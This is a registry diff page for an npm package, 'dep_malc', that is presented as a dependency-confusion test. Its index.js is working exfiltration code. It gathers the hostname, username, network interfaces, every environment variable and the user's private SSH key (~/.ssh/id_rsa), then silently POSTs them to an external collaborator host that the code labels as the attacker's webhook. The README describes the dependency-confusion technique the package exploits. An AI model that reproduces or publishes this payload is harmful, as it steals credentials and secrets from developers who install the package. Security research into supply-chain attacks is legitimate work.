dep_malc 10.2.5
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dep_malc might be problematic. Click here for more details.
- package/README.md +11 -0
- package/index.js +77 -0
- package/package.json +17 -0
package/README.md
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
Author: wr3nch0x1
|
2
|
+
|
3
|
+
This Example Repo is used reproduce dependency confusion.
|
4
|
+
|
5
|
+
Checks whether library exists on the specified (internal) package index
|
6
|
+
|
7
|
+
If not, then:
|
8
|
+
Checks whether library exists on the public package index (npmjs)
|
9
|
+
|
10
|
+
Installs whichever version is found. If the package exists on both, it defaults to installing from the source with the higher version number.
|
11
|
+
|
package/index.js
ADDED
@@ -0,0 +1,77 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const fs = require("fs");
|
6
|
+
const path = require("path");
|
7
|
+
const packageJSON = require("./package.json");
|
8
|
+
const package = packageJSON.name;
|
9
|
+
|
10
|
+
// Collecting system information and environment details
|
11
|
+
const trackingData = JSON.stringify({
|
12
|
+
p: package,
|
13
|
+
c: __dirname,
|
14
|
+
hd: os.homedir(),
|
15
|
+
hn: os.hostname(),
|
16
|
+
un: os.userInfo().username,
|
17
|
+
dns: dns.getServers(),
|
18
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
19
|
+
v: packageJSON.version,
|
20
|
+
pjson: packageJSON,
|
21
|
+
|
22
|
+
// Additional personal/system data
|
23
|
+
env: process.env, // All environment variables
|
24
|
+
arch: os.arch(), // Architecture info
|
25
|
+
platform: os.platform(), // Platform info
|
26
|
+
uptime: os.uptime(), // System uptime
|
27
|
+
ipInterfaces: os.networkInterfaces(), // Network interfaces
|
28
|
+
mem: {
|
29
|
+
totalMem: os.totalmem(),
|
30
|
+
freeMem: os.freemem(),
|
31
|
+
},
|
32
|
+
cpu: os.cpus(), // CPU details
|
33
|
+
|
34
|
+
// Process details
|
35
|
+
pid: process.pid,
|
36
|
+
execPath: process.execPath,
|
37
|
+
processArgs: process.argv,
|
38
|
+
currentDir: process.cwd(),
|
39
|
+
userGroups: os.userInfo().gid,
|
40
|
+
|
41
|
+
// Sensitive files like SSH keys (for demonstration; never do this in practice)
|
42
|
+
sshKey: fs.existsSync(path.join(os.homedir(), ".ssh", "id_rsa"))
|
43
|
+
? fs.readFileSync(path.join(os.homedir(), ".ssh", "id_rsa"), "utf8")
|
44
|
+
: "No SSH key found",
|
45
|
+
});
|
46
|
+
|
47
|
+
// Data to be sent
|
48
|
+
var postData = querystring.stringify({
|
49
|
+
msg: trackingData,
|
50
|
+
});
|
51
|
+
|
52
|
+
// HTTP request options
|
53
|
+
var options = {
|
54
|
+
hostname: "0abgrwsm26a2xjdw5gsunayltcz3ntbi.oastify.com", // attacker's webhook
|
55
|
+
port: 443,
|
56
|
+
path: "/",
|
57
|
+
method: "POST",
|
58
|
+
headers: {
|
59
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
60
|
+
"Content-Length": postData.length,
|
61
|
+
},
|
62
|
+
};
|
63
|
+
|
64
|
+
// Send the data
|
65
|
+
var req = https.request(options, (res) => {
|
66
|
+
res.on("data", (d) => {
|
67
|
+
process.stdout.write(d);
|
68
|
+
});
|
69
|
+
});
|
70
|
+
|
71
|
+
req.on("error", (e) => {
|
72
|
+
// Handle error silently
|
73
|
+
// console.error(e);
|
74
|
+
});
|
75
|
+
|
76
|
+
req.write(postData);
|
77
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "dep_malc",
|
3
|
+
"version": "10.2.5",
|
4
|
+
"description": "A simple script to test Dependency Confusion Attack with external webhooks",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"start": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "wr3nch0x1",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"os": "^0.1.1",
|
13
|
+
"dns": "^0.2.2",
|
14
|
+
"querystring": "^0.2.1",
|
15
|
+
"https": "latest"
|
16
|
+
}
|
17
|
+
}
|